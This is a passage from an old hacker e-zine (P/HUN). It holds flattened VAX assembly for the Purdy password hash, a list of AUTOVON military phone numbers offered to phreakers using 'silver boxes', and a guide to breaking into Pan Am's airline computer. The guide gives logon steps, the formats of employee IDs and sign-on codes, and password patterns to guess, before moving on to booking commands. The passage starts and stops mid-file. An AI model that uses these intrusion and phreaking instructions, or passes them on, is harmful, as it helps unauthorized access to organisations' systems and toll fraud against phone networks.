COLLAPSE_R2 PUSHAQ (R4) CALLS #1,PURDY 20$: MOVL #1,R0 RET COLLAPSE_R2: MOVZWL (R3),R0 BEQL 20$ MOVAL @4(R3),R2 PUSHR #^M MOVL R0,R1 5$: CMPB (R2)+,#32 BNEQ 7$ DECL R1 7$: SOBGTR R0,5$ MOVL R1,R0 POPR #^M 10$: BICL3 #-8,R0,R1 ADDB2 (R2)+,(R4)[R1] SOBGTR R0,10$ 20$: RSB a=59 n0=1@24-3 n1=1@24-63 .ENTRY PURDY,^M MOVQ @4(AP),-(SP) BSBW PQMOD_R0 MOVAQ (SP),R4 MOVAQ PURDY_POLY,R5 MOVQ (R4),-(SP) PUSHL #n1 BSBB PQEXP_R3 MOVQ (R4),-(SP) PUSHL #n0-n1 BSBB PQEXP_R3 MOVQ (R5)+,-(SP) BSBW PQADD_R0 BSBW PQMUL_R2 MOVQ (R5)+,-(SP) MOVQ (R4),-(SP) BSBW PQMUL_R2 MOVQ (R5)+,-(SP) BSBW PQADD_R0 MOVQ (R4),-(SP) BSBB PQMUL_R2 MOVQ (R5)+,-(SP) BSBW PQADD_R0 MOVQ (R4),-(SP) BSBB PQMUL_R2 MOVQ (R5)+,-(SP) BSBW PQADD_R0 BSBW PQADD_R0 MOVQ (SP)+,@4(AP) MOVL #1,R0 RET PQEXP_R3: POPR #^M MOVQ #1,-(SP) MOVQ 8+4(SP),-(SP) TSTL 8+8(SP) BEQL 30$ 10$: BLBC 8+8(SP),20$ MOVQ (SP),-(SP) MOVQ 8+8(SP),-(SP) BSBB PQMUL_R2 MOVQ (SP)+,8(SP) CMPZV #1,#31,8+8(SP),#0 BEQL 30$ 20$: MOVQ (SP),-(SP) BSBB PQMUL_R2 EXTZV #1,#31,8+8(SP),8+8(SP) BRB 10$ 30$: MOVQ 8(SP),8+8+4(SP) MOVAQ 8+8+4(SP),SP JMP (R3) u=0 v=u+4 y=u+8 z=y+4 PQMOD_R0: POPR #^M CMPL v(SP),#-1 BLSSU 10$ CMPL u(SP),#-a BLSSU 10$ ADDL2 #a,u(SP) ADWC #0,v(SP) 10$: JMP (R0) PQMUL_R2: POPR #^M MOVL SP,R2 PUSHL z(R2) PUSHL v(R2) BSBB EMULQ BSBB PQMOD_R0 BSBB PQLSH_R0 PUSHL y(R2) PUSHL v(R2) BSBB EMULQ BSBB PQMOD_R0 PUSHL z(R2) PUSHL u(R2) BSBB EMULQ BSBB PQMOD_R0 BSBB PQADD_R0 BSBB PQADD_R0 BSBB PQLSH_R0 PUSHL y(R2) PUSHL u(R2) BSBB EMULQ BSBB PQMOD_R0 BSBB PQADD_R0 MOVQ (SP)+,Y(R2) MOVAQ Y(R2),SP JMP (R1) EMULQ: EMUL 4(SP),8(SP),#0,-(SP) CLRL -(SP) TSTL 4+8+4(SP) BGEQ 10$ ADDL2 4+8+8(SP),(SP) 10$: TSTL 4+8+8(SP) BGEQ 20$ ADDL2 4+8+4(SP),(SP) 20$: ADDL2 (SP)+,4(SP) MOVQ (SP)+,4(SP) RSB PQLSH_R0: .ENABLE LSB POPR #^M PUSHL v(SP) PUSHL #a BSBB EMULQ ASHQ #32,Y(SP),Y(SP) BRB 10$ PQADD_R0: POPR #^M 10$: ADDL2 u(SP),y(SP) ADWC v(SP),z(SP) BLSSU 20$ CMPL z(SP),#-1 BLSSU 30$ CMPL y(SP),#-a BLSSU 30$ 20$: ADDL2 #a,y(SP) ADWC #0,z(SP) 30$: MOVAQ Y(SP),SP JMP (R0) .END =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= = P/HUN Issue #3, Volume 2: Phile #4 of 11 = =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= The Automatic Voice Network (AUTOVON) Outline PART I ---------------------------------------------------- Typed by: DareDevil P/HUN Magazine Inc. I am back from my long trip from London which turned out to be very intresting. I met a couple of Hackers and Phreakers who were very willing to share information with me. From what they say Hacking European Computers seems to be an easy task. Anyway..... Heres something for you Silver Boxers. Hope this helps a little. The next 2 parts will continue in the later issues of P/HUN. o--------------------------------------------------------------o (To reach these installations from "DoD Numbers Only") AUTOVON Listing Information Dial "0" AUTOVON Access - Dail "8" Listen for the tone,then the AUTOVON Number --------------------------------------------------------------------- INCOMING AUTOVON CODES ---------------------- COMMERCIAL AUTOVON | COMMERCIAL AUTOVON -------------------------------------|------------------------------------- 227 Exchange 287 Plus four digits | 437 Exchange 364 Plus four digits 238 " 251 " | 475 " 335 " 272 " 285 " | 490 " 356 " 274 " 284 " | 576 " 291 " 282 " 292 " | 653 " 294 " 284 " 251 " | 692 " 222 " 285 " 356 " | 693 " 223 " 295 " 295 " | 694 " 224 " 325 " 221 " | 695 " 225 " 355 " 345 " | 696 " 226 " 373 " 243 " | 697 " 227 " 394 " 290 " | 746 " 286 " 427 " 291 " | 756 " 289 " 433 " 288 " | 763 " 293 " 463 " 296 " | 767 " 297 " -------------------------------------+------------------------------------- AUTOVON Access to The Pacific European-Carribean Area IS NOT available through the DoD Exchanges. Theses calls must be placed through the appropriate Military Switchboard serving your activity or by COML means. ALABAMA ------- Adj Gen Natl, Montgomery ........................................ 363-72XX Oper Asst. 363-7210 Air Force Air Univ, Maxell AFB................................... 875-XXXX Info Oper. 875-1110 Oper Asst. 436-3700 Air Natl Gd 117th Tac Recon Gp,Birmingham........................ 694-2XXX Oper Asst. 694-2210 187th Tac Recon Gp, Montgomery.......................... 742-9XXX Oper Asst. 485-9210 232nd Mob Comm Sqd, " ................................. 485-XXXX Oper Asst. 742-9210 Anniston Army Depot.............................................. 571-XXXX Oper Asst. 571-1110 Army Msl Cmd, Redstone Arsl...................................... 746-XXXX Info Oper. 746-0011 Coast Guard Avn Spt Tng Cen, Mobile.............................. 436-3635 Def Contr Admin Svcs Mgt Area, Birmingham........................ 340-1XXX Oper Asst. 340-1000 Fort McClellan, Anniston......................................... 865-XXXX Oper Asst. 865-1110 Gunter AFB, Montgomery........................................... 446-XXXX Oper Asst. 446-1110 Maxwell AFB, " .................................................. 875-XXXX Info Oper. 875-1110 Mil Tfc Mgt Cmd (MTMC) EA Mob Det Gulf Outport Mobile............ 436-3830 Outport Mobile.................................................. 746-XXXX Redstone Arsl,HUntsville......................................... 746-XXXX Info Oper. 746-XXXX U.S Property & Fiscal Ofc (USPFO) Natl Gd, Montgomery............ 363-7316 ALASKA ------ Adj Gen Natl Ge, Anchorage................................... 317-626-1299 Mil Actvities , Neklason Lake................................ 317-950-1211 Alaska Switch,Neklason Lake.................................. 317-950-1211 Cmdr in C Alaska (CINCAL), Elmendorf AFB..................... 317-552-3100 Oper Assit. 317-753-2228 Coast Guard COMCOGARD 17 Hq , Juneau......................... 317-388-7XXX Oper Assit. 317-388-7011 Coast Guard Kodiak........................................... 317-487-5XXX Oper Assit. 317-487-5888 Def Comm Agcy,Alaskan Region(DCA-AL) Elmendorf............... 317-552-XXXX Oper Assit. 317-552-1110 Commander.............................................. 317-943-1212 Def Commercial Comm Ofc,Alaska,Elmendorf AFB........... 317-552-3132 Defense Fuel Region,Elmendorf AFB............................ 317-552-3760 Eielson AFB, Fairbanks....................................... 317-37X-XXXX Info Oper Only. 317-372-1191 Elmendorf AFB,Anchorage...................................... 317-552-XXXX Info. 317-552-1110 Oper Assit. 317-552-1110 Fed Avn Agcy - Alaskan Rdn Hg, Anchorage..................... 317-552-XXXX Oper Assit. 317-552-1110 Comm Con Cen............................................ 317-552-1212 Fort Greely,Delta Junction................................... 317-87X-XXXX Info Oper. 317-872-1113 Oper Assit. 317-864-0121 Fort Wainright, Fairbanks.................................... 317-35X-XXXX Info Oper. 317-353-9113 Oper Assit. 317-353-9121 Nav Actvities,Adak........................................... 317-592-XXXX Oper Assit. 317-592-0111 US Property & Fiscal Ofc (USPFO) Natl Gd, Ft Richardson...... 317-862-8116 ARIZONA ------- A Comm-Hq,Ft Huachuca........................................... 879-XXXX Oper Assit. 879-0111 USACC HQS EAC............................................... 626-1720 Adj Gen Natl Gd, Phoenix........................................ 853-8710 Air Natl Gd 161st Mil Airlift Gp, Phoenix....................... 853-8710 Oper Assit. 853-9210 David Monthan AFB, Tucson....................................... 361-XXXX Oper Assit. 361-1110 Tac Cmd Post................................................ 626-1655 Def Contr Admin Svcs Mgt Area, Phoenix.......................... 940-XXXX Oper Assit. 940-1110 Fort Huachuca, Sierra Vista..................................... 879-XXXX Oper Assit. 879-0001 Luke AFB,Glendale............................................... 853-XXXX Oper Assit. 853-1110 Cmd Post Duty Officer...................................... 727-3950 " ...................................... 626-1690 Marine Corps Air Sta, Yuma...................................... 951-XXXX Oper Assit. 951-3011 Mil Acft Star & Disp Cen,Tucson................................. 361-XXXX Oper Assit. 361-1110 Natl Gd State Maint Ofc, Phoenix................................ 853-8810 US Property & Fiscal Ofc (USPFO) Natl Gd, Phoenix............... 853-8821 Williams AFB, Chandler.......................................... 474-XXXX Oper Assit. 474-1011 Yuma Proving Grounds............................................ 899-XXXX Oper Assit. 899-1110 After Hours. 899-2020 1st Cbt Eval Gp Det 2 (SAC) Holbrook............................ 626-3430 ARKANSAS -------- Adj Gen Natl Gd, Little Rock.................................... 731-5200 Air Natl Gd 188th Tac Recon Gp, Ft Smith........................ 962-8XXX Blytheville AFB................................................. 721-XXXX Oper Assit. 721-1110 Fort Chaffee,Ft Smith........................................... 962-2XXX Oper Assit. 962-2111 Little Rock AFB................................................. 731-XXXX Oper Assit. 731-1110 Pine Bluff Arsl................................................. 966-3XXX Oper Assit. 966-3798 US Property & Fiscal Ofc(USPFO) Natl Gd,Little Rock............. 731-5253 CALIFORNIA ---------- Adj Gen Natl Gd, Sacramento..................................... 466-6531 Air Force Aero Sta, McClelland AFB.............................. 730-3760 Air Force Contr Mgr Div AFSC, Los Angeles AFS................... 833-1837 Oper Assit. 833-1110 Air Force Flt Test Cen,AFSC, Edwards AFB........................ 527-XXXX Oper Assit. 527-0111 Air Force Satl Comm Fac Hq, Los Angeles......................... 833-XXXX Oper Assit. 833-1110 Air Force Satl Test Ctr, Sunnyvale.............................. 359-3XXX Oper Assit. 359-3110 144th Air Def Wg, Fresno.......................... 949-9XXX Oper Assit. 949-9210 146th Mil Airlift Wg, Van Nuys.................... 873-6XXX Oper Assit. 873-6310 148th Comm Sqd, Compton........................... 898-1895 149th Comm Sqd, Highlands......................... 633-2582 162nd Comm Gp, N Highlands........................ 633-2582 216 Equip & Inst Squd, Hayward.................... 462-5637 222nd Mob Comm Sqd, Costa Mesa.................... 833-0459 234th Mob Comm Sqd, Hayward....................... 462-1746 America Forces Radio & TV Svc, Los Angeles...................... 898-1746 Armed Forces Reserve Ctr, Los Angeles........................... 972-8XXX Oper Assit. 972-8011 Army Audit Agcy Western Region, Sacramento...................... 839-2241 Oper Assit. 839-1110 Ballistic Sys Div Af Sys Cmd, Norton AFB........................ 876-XXXX Oper Assit. 876-1110 Beale AFB, Marsville............................................ 368-XXXX Oper Assit. 368-1110 Camp Pendelton Marine Corps Base,Oceanside...................... 365-XXXX Oper Assit. 365-0111 Castle AFB, Merced.............................................. 347-XXXX Oper Assit. 347-1110 Centerville Beach Nav Fac, Ferndale............................. 896-3381 Coast Guard COMCOGARD 11 Hq, Long Beach......................... 360-7961 12 Hq,(RCC Only), San Francisco................... 730-3471 Montery......................................................... 629-1561 Cmdr Submarine Flottilla Five, San Diego........................ 933-XXXX Oper Assit. 933-1011 Def Conrt Admin Svcs Reg Svcs Reg/Mgt Area, Los Angeles......... 833-XXXX Info Oper. 833-2226 Oper Assit. 833-1110 Def Contr Admin Svcs Mgt Area, Santa Ana........................ 873-2XXX Oper Assit. 873-2700 San Diego.......................................... 542-XXXX Oper Assit. 524-0111 Van Nuys........................................... 972-3XXX Info Oper. 972-3319 San Francisco...................................... 466-9XXX Info Oper. 466-9500 Defense Depot, Tracy............................................ 462-9XXX Oper Assit. 462-9110 Def Fuel Region West San Pedro.................................. 833-2876 Def Language Institute, Presidio of Monterey.................... 929-XXXX Oper Assit. 929-1110 Def Pers Spt Cen, Alameda....................................... 686-3006 Def Manpower Data Center, Monterey.............................. 878-2951 Edwards AFB..................................................... 527-XXXX Info Oper. 527-0111 FAA Los Angeles Air Rt Trc Con Cen, Palmdale.................... 898-1290 FAA Oakland Air Rt Trf Con Cen, Fremont......................... 730-1595 Flt Air Con & Surv Fac (FACSFAC) TCC/OC Only, San Diego......... 727-3925 Flt Anal Cen, Corona............................................ 933-XXXX Oper Assit. 933-0111 Flt Anti-Sub Warefare Sch, San Diego............................ 524-XXXX Oper Assit. 524-0111 Fort Irwin, Barstow............................................. 470-XXXX Oper Assit. 470-0111 Fort Mason, San Francisco....................................... 586-XXXX Oper Assit. 586-1110 Fort Ord, Monterey.............................................. 929-XXXX Oper Assit. 929-1110 George AFB, Victorville......................................... 353-XXXX Oper Assit. 353-1110 German Mil Rep to USA/Cent Area, Long Beach NS.................. 360-0111 Letterman Genral Hospital, San Francisco........................ 586-XXXX Oper Assit. 586-2231 Los Angeles AFS................................................. 833-XXXX Oper Assit. 833-1110 Info Oper. 989-1780 MLP Oper. 838-XXXX March AFB, Riverside............................................ 947-XXXX Oper Assit. 947-1110 Marine Corps AirSta, El Toro.................................... 524-XXXX Oper Assit. 997-3011 Rctg Depot, San Diego........................ 524-XXXX Info Oper. 524-1011 Log Sup Base, Barstow........................ 282-XXXX Oper Assit. 282-0111 Marine Corps Air Ground Combat 29 Palms.................... 952-5XXX/6XXX Oper Assit. 952-6000 Mather AFB, Sacramento.......................................... 828-XXXX Oper Assit. 828-1110 McClellan AFB, Sacramento....................................... 633-XXXX Oper Assit. 633-1110 AUTODIN Tech Con, Sacramento..................... 730-1493 MCS Office Long Beach........................................... 360-6645 Mil Tfc Mgt Cmd (MTMC) WA HQ Oakland Army Base.................. 859-XXXX Oper Assit. 859-0111 WA MOT Bat Area.................................. 859-XXXX WA S/CA Outport SAn Pedro OPER Asst.............. 853-1650 MTMC WA MATCO Norton AFB CA...................... 876-XXXX MTMC WA MATCO Norton AFB OPER Asst............... 876-1110 MTMC WA MATCO Travis AFB CA...................... 837-XXXX MTMC WA MATCO Travis AFB OPER Asst............... 837-1110 Natl Gd State Maint Ofr, Sacramento............................. 466-6571 Oper Assit. 466-6605 Natl Parachute Test Range, El Centro............................ 958-8XXX Oper Assit. 958-8212 Non-Duty Hours. 958-8547 Nav Air Sta, Alameda............................................ 686-0111 Imperial Beach................................... 951-0111 Lemoore.......................................... 949-0111 Miramir.......................................... 577-XXXX Oper Assit. 577-1011 Moffett Fld, Sunnyvale........................... 462-0111 COM NAS North Island............................. 951-0111 Nav Amph Base - Coronado, San Diego............................. 577-XXXX Oper Assit. 577-2011 Nav Comm Sta, NavOp Radio and Tele(NORATS), San Diego........... 958-3XXX Oper Assit. 958-3011 San Francisco, Stockton........................... 466-7444 " " Tech Con, Stockton................. 730-1581 Nav Const Bn Cen, Port Hueneme.................................. 360-XXXX Oper Assit. 360-4001 Cdmr Nav Base, San Diego.......................... 958-3011 Nav Hosp, Long Beach............................................ 873-9XXX Oper Assit. 873-9011 Oakland........................................... 855-XXXX Oper Assit. 855-5000 San Diego......................................... 522-6011 OIC of Navy Const, Mare Island.................................. 253-XXXX Oper Assit. 253-2101 Mare Isl Vallejo.................................. 253-XXXX Oper Assit. 253-0111 Nav Ocean Sys Ctr............................................... 553-XXXX Oper Assit. 533-0111 Nav Shp Wpn Sys Engr Sta, Port Hueneme.......................... 360-XXXX Oper Assit. 360-4711 Nav Sta, Long Beach............................................. 360-XXXX Oper Assit. 360-0111 Nav Sta, San Diego.............................................. 958-XXXX Oper Assit. 958-0111 Nav Sta, Treasure Island, San Francisco......................... 869-XXXX Duty Off 869-6233 Oper Assit. 869-6411 Non Duty Hrs. 869-6233 Nav Sup Cen, Oakland............................................ 836-XXXX Oper Assit.836-0111 Info Oper 836-4011 San Diego........................................ 522-XXXX Oper Assit. 522-1011 Nav Tng Cen, San Diego.......................................... 524-XXXX Oper Asst. 524-0111 Nav Tng Cmd Pac Fleet, San Diego................................ 524-XXXX Oper Assit. 524-0111 NAVSURFPAC, San Diego........................................... 958-9XXX Oper Assit. 958-9101 South Pac, Moffet Fld........................................... 462-XXXX Oper Assit. 462-0111 Nav Wpns Cen China Lake......................................... 437-XXXX Oper Assit. 437-9011 Nav Wpns Sta, Concord........................................... 253-5111 Nav Wpns Sta Steal Beach........................................ 873-7XXX Oper Assit. 873-7000 Navy Post Grauduate School, Monterey............................ 878-XXXX Oper Assit. 878-0111 Norton AFB, San Bernardino...................................... 876-XXXX Oper Assit. 876-1110 AUTODIN Tech Con................................. 898-3944 Oakland Army Base............................................... 859-XXXX Oper Assit. 859-0111 Pacific Msl Test Cen, Point Mugu................................ 351-XXXX Oper Assit. 351-1110 Pasadena Fed Cen................................................ 879-5011 Point Sur Nav Fac, Big Sur...................................... 629-1470 Presidio of San Francisco....................................... 586-XXXX Oper Assit. 586-1110 Rio Vista....................................................... 586-5837 Riverbank Army Ammo Plt......................................... 466-4100 Sacramento Air Log Cen.......................................... 633-XXXX Oper Assit. 633-1110 Sacramento Army Depot........................................... 839-XXXX Oper Assit. 839-1110 Sharpe Army Depot, Lathrop...................................... 462-2XXX Oper Assit. 462-2011 Sierra Army Depot, Herlong...................................... 830-9XXX Oper Assit. 830-9910 Space & Msl Sys Org, Los Angeles................................ 833-XXXX Oper Assit. 898-1780 Travis AFB, Fairfield........................................... 837-XXXX Oper Assit. 837-1110 22nd AF Tac Cmd Post............................ 730-1410 22nd AF Tac PBX................................. 869-3480 USPFO Natl Gd, San Luis Obispo.................................. 879-9201 Oper Assit. 878-9211 Vanderberg AFB, Lompox.......................................... 27X-XXXX Oper Assit. 276-1110 West Div Nav Fac Engr Cmd, San Bruno............................ 859-XXXX Oper Assit. 859-7111 6th Army Presidio of San Francisco.............................. 586-1110 15th Air Force wea Spt Unit, March AFB.......................... 727-1647 END OF PART 1 DDDDDDDDDDDDDD The file is getting rather long and dont want to bore people with long lists of numbers therefore, Part ][ & Part ]I[ will be on later issues of P/HUN Online Magazine. DareDevil at P/HUN Magazine Inc. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= = P/HUN Issue #3, Volume 2: Phile #5 of 11 = =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= /X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X X / / The Pan Am Airline Computer (c) 1994 "PART A" X X --------------------------------------------- / / X X By Red Knight / / X X A P/HUN Magazine Incorporation Productions. / / X X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/ Introduction: ------------- Ever wondered how the airline computers work? Well this article will inform you as to various information,commands etc. The more you know about them the more favors you can ask of them. I will go into details on how they go about booking actual flights so you get an understanding on how its done. The article will have actual outputs etc and explained in depth. The best way to explain to first understand the PANAMAC computer. Then you can go on and hack the main Pan Am computer because all the commands are the same. What is PANAMAC?: ---------------- PANAMAC are computers Pan Am's Sales Agent use for booking flights, answering our various questions on arrivals,departures,visa etc.This is only a small percentage of the questions.PANAMAC is full of info. Where can you find answers to the these questions: - What is a DH7 aircraft - How many passengers were their in flight P2308 last month - What will be the bus fair when traveling from Mombasa to Nairobi in Kenya - What does SXR represent - Information on carrying pets - Where does one go for yellow fever shot in Kansas or anywhere in USA - What is the departure tax from from anywhere in the world - How many ciggerates is one allowed to take from USA to Pakistan - Where to stay - Which hotels? - Weather conditions in a particular country - Flight delays Get my drift? Well the above questions can be answered using the PANAMAC. PANAMAC is manufactured by ICOT. Logging On to The Main Pan-Am Computer: (Not the PANAMAC ) DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD [This particular info on logging on was acquired from a Pan-Am employee] DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD This is the most hardest part of all. While logging on to the Pan Am computer you will not see any type of an identifier. These system use E,7,1 characterists. Enter as follows: ".Nodes" or ".N" then the Node Identifier: The Node identifier: DDDDDDDDDDDDDDDDDDDD This part of info will contain the NPA a person is calling from and then followed by a 7 digit access number in which last two are the state abb. An example would be: 71811355NY Its a high possiblity that the "11355" could be a zip code The Person ID: DDDDDDDDDDDDDD After the Node Identifier enter: .PI [ (NPA,8 Alpha Numeric Chracters which first being a letter) Password DDDDDDDD The password is assigned to the employees which is supposed to be 6 to 8 characters alphanumeric with first being usually "P" Enter Password using ".P" or ".PASSWORD" (No echo) (After this you will get a long pause for about 1 min) Then if you guessed wrong then it will log you off. Your in!!! DDDDDDDDDD If you have made it so far then you are a hell of Hacker and you have my full respect. After you have entered correct information then you will get a message like this: Pan Am Airlines (4854.00PA) Unauthorized Access will lead to a prosecution. > ( This is the SOM Prompt) (After that you will get a "SOM" prompt. Then from here on your home free. The SOM is there for you. Almost all the commands in the PANAMAC will work on their Main Computer. DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD ** NOTICE ,READ CAREFULLY ** >From here on the article will deal with PANAMAC Airline Computer which your sales agent uses to book you a flight and give you information. You wont be able to call these up tho, but rather use the infomation provided here when you hack the Main Pan-Am Airline Computer. (Process is described above) I repeat, all the commands are on The PANAMAC will work on the Main Computer. DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD Basic PANAMAC hardware: ----------------------- A set consists of a display screen, standard type writer key board with row of function keys along the top. There will also be a block of keys to the right of the main key board and another block of keys to the far right. I will explain almost all the keys on the board.The keyboard is a little different from the regular IBM keyboards. Basic Layout of a PANAMAC keyboard DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD ____________________________________________________________________________ | | | +----------------------------------------------------------------------+ | | | F U C T I O N K E Y S | | | +----------------------------------------------------------------------+ | | | | +---------------------------------------+ +---------+ +---------------+ | | | | | cursor | | | | | | | | keys | | | | | | | | Next | | PF 1-30 | | | | Basic Keyboard with twin functions | | Part | | 15 keys | | | | invoked by ALT + [Key] | | Delete | | | | | | | | etc. | | | | | | | | | | | | | +---------------------------------------+ +---------+ +---------------+ | |___________________________________________________________________________| Here is a list that are used the most.The rest that I did not go into details are almost never used. (They can be invoked by using the ALT plus the approriate key) For eg. The (CALC) - Use to get into calculator mode. +------+ | Z | ALT + +------+ ----> CALCULATOR MODE | CALC | +------+ (CHNG SCRN) - Changes from one screen to the second screen. (CHANGE) - Used when changing name entries. (RESET) - to reset the system.Eg. IF you are in the CALC mode to use this return to regular mode. (IGN) - Used to ignore any transaction made like when you enter something for example in the PNR (Passenger Name & Record) and you dont wish to save the current format you would use the IGN. (XITN) -Cancel all itinerary in a PNR. The intinerary is the record of a flight (ARNK) - Arrival not known. (ET) - End Transaction. This store the the edited PNR. (GFAX) - General FACTS. Info on passengers that Pan Am & other airlines need to know. (FAX) - Host FACTS. Info on passengers that only Pan Am needs to know. (RMKS) - Remarks field to store misc info. (RCVD) - Received filed. Name of person who made the booking. (SEG) - Leave an open segment for a passenger who may want to return at an unknown date but is sure that he/she will travel by Pan Am. (IAS) - The "/" key is on the bottom of the keyboard. The letters "IAS" stand for Insert After Segement (will be used later in the article). (NAME) - Name of persons traveling eg. -3smith/sethmr/danmr/loydmr this is an eg. of an entry made if three person seth, dan, loyd were travelling a family obviosly having the same last name. (DSPL) - Display a PNR, history, itin etc. (CLEAR) - To clear the field that you are working in (To clear all fields press ALT - CLEAR)..Doesn' delete any info. (ALARM) - When you hear a "beep" use ALT-R (alarm) to clear the alarm. (SOM) - Start of message.You will receive a new start of message. (CLICK) - A toggel to switching on & off of the blinking of the cursor. (RDUC) - Reduce fares.This is to view fares on senior citizen, students etc. (ERASE) - A sort of a DEL key to delete the last character. (SHIFT) - Used to toggle the second mode of the key. (CALC) - To get to the calculator mode. (END-I) - Used to display domestic fairs. (END ITEM) - Used while inputing many name entries;Instead of using the . (ENTER) - Self explanatory. (EDIT FRMAT) - To transpose a copy from one field so another. (NEXT PART) - Move the cursor from one field to another. (INSERT CHAR) - Insert a character. (DELETE CHAR) - Erase a character between a word and moves up the rest of the word. (INSERT LINE) - To Insert a line. (DELETE LINE) - Self Exp. but cursor remains there. (PART) - Just like the cursor keys UP,DOWN,RIGHT,LEFT. (PF10) - To direct a command to the upper left field. (PF11) - " " " " " " " right ". (PF13) - " " " " " " bottom left ". (PF14) - " " " " " " " right ". Part II DDDDDDD SOM/CURSOR: ---------- When they first start, the screen is divided into 4 parts (dotted line line sepating the four fields.Each of those four field contains the SOM (this is PANAMAC prompt).The SOM looks like an equilateral triangle pointing towards the right.The cursor could be in any field or left of when last used. In this article the I have characterized the SOM as ">" Now to move to the next field one would use the "NEXT PART" key. SINNING IN (LOGGING IN): ------------------------ In order to use the PANAMAC the all sales agents have to sine in. Each user is assinged 2 things: 1) COLLINS SINE: - This is needed to sine in to the phone. 2) PANAMAC SINE: - This is needed to access the computer. COLLINS SINE: ------------- The COLLINS SINE is a code used to access the phone system to receive calls and make calls.This serves as an unlocking device The collins sine consists of 9 chracters.The first is always an asterisk the next two are CAPITALS letters almost always (SI) Here are some examples of COLLINS SINEs : *SI340450 *SI409321 *SI345090 *SI430092 By sinning into the telphone is exactly what I mean. One would enter in thru the touch tones (NOT THRU THE COMP) So therefore *SI30450 one would would enter the * ,74 for SI then the rest of the #s. Heres how the telephone key PAD looks : _________________________________________________________________ | ____________________________ _______ _______ _______ | | | | | | | REL | |EMGY | | CW | | | | | ABC | DEF | |_____| |_____| |______| | | | 1 | 2 | 3 | |DAIL | | | |________|________|________| |_____| | | | | | | |SUPV | | | | GHI | JKL | MNO | |_____| | | | 4 | 5 | 6 | | | |________|________|________| | | | | | | | | | PQR | TUV | WXY | | | | 7 | 8 | 9 | | | |________|________|________| _____ | | | * | 0 | # | | IN | | | |________|________|________| |_____| _____ | | | AVI | | RPT | | | |_____| |_____| | |_______________________________________________________________| Key Pad: -------- IN - The IN key on the telephone key pad serves as a hold button the key will blink when customer is on hold. AVI - (Available) is depressed when the sales agent is available for the next call. RPT - [Unknown] REL - (Release) Pushed when the sales agent doesn't want to be instantly available for the next call. Depress AVI before releasing call. DAIL - (out dail) - Depress the key and dial out. Method : 1) When asking for help 7714,7721,7713 2) Pantel (Used to call up the Pan Am airport) - 8XXX-XXXX 3) Local 212 Calls 9XXX-XXXX. 4) All others 8XXX-XXX-XXXX SUPV - When the sales people ask for assistance EMGY - This key is an important one. Suppose some one makes a bomb threat this key is immediatly depressed and the conversation is recorded in another room. The sales agents have been taught to keep them online as much as they can. CW - Will be used for Call Waiting in the future. PANAMAC SINE: ------------- The PANAMAC SINE in consists of 10 characters with BSIA (always) the first four. The next four are all numbers and the last 2 are letters which could be anything. Examples: BSIA0290KI BSIA8534PO BSIA3309DS Procedure: ---------- This is the procedure they follow: 1) Sine in to the telephone - *SI 2) Sine out - *SO ( the SO stands for sining out) 3) Sine in the computer - [PAMAMAC SINE] 4) Sine into the telephone Now the sales agent is ready to receive calls. General Information Index: -------------------------- PANAMAC contains most of the technical information that is needed by the the service representatives. To display (G)eneral (I)nformation (I)ndex you would input: >KIINF followed by the first letter of the subject desired. OUTPUT: KIABLA - Albany Airport Info KIATLA - Airport at Atlanta Georgia KIAULA KIABWA KIBOSA : etc ... : KIZAQE By just entering KIINF you would get all the KIINF Index from A to Z. You can take it as if the KIINF is a root directory and its divided into thousands of subdirectories. The letter KI actually stands for Key In followed by the INF for information. For example if you wanted to display general information on car rentals it would like this: >KIINFC (Type at the SOM) The system will list car-rental related files.Then all they do is retrieve it. Station Information File (CITY INDEX) ------------------------------------ PANAMAC also contains information about specific cities.To display the Index for a particular city, one is able to Key In (KI) and type in the three letter city code. So lets say you wanted some information about Atlanta : Type in: >KIATL This will display all of the files concerning Atlanta. Now to display a particular file to view one would enter KIATL plus the the letter code of the file name. Therefore if you wished to view the information on airports in Atlanta enter: >KIATLA you will have a screen filled with all sorts of information about the Airports in Atlanta. Examples of some Catagories of G.I.N ------------------------------------ Index Help On ----- ------- KISKDE - What type of Aircraft is an AB3 ? KIXXKU - What is the City Code for Kuala Lampur ? KICCCG - What is the currency code for Greek money and whats it called ? KITTA - What movies will be shown on the flights next month ? KIIHCH - Is there an Inter-Continental Hotel in Columbo ? KIBOMC - How many cigarettes are allowed for a passenger going to Bombay ? KINYCV - Where can one go to get a Yellow Fever shot on N.Y ? KIJFKT - How much will a taxi cost from JFK Airport into the city ? KILONK - What time did a flight PA 56 arrive in London this morning ? Its impossible to list all the Key Ins in this article. In future I may write up an article listing all of these. Part III DDDDDDDD Booking Pan Am Flights: ----------------------- To ask Panamac which flights are available on a specific day, you type a standard availability entry : >A 6JUNNYCMIA0900 Lets break it down: - The 'A' is always used.Its is the action code to request availability - The '6' is the departure date - The 'JUN' is obviously the first three letters of the month - 'NYC' is the origin city where the flight is taking off - 'MIA' is destination city which in this case would be Miami - and the '0900' is the time desired So therefore on a flight on 3rd of July from Nairobi to London at 1100 hours would be: >A3JULNBOLON1100 [spacing is optional] When requesting availabity FROM/TO codes should be CITY codes.This will allow Panamac to display the full schedule of flights operating FROM/TO all airports in that city,beginning with the time requested. For eg. If you request availability FROM/TO JFK,Panamac will only display flights that operate FROM/TO JFK but If you request availabilty FROM/TO NYC, Panamac will display flights operate FROM/TO 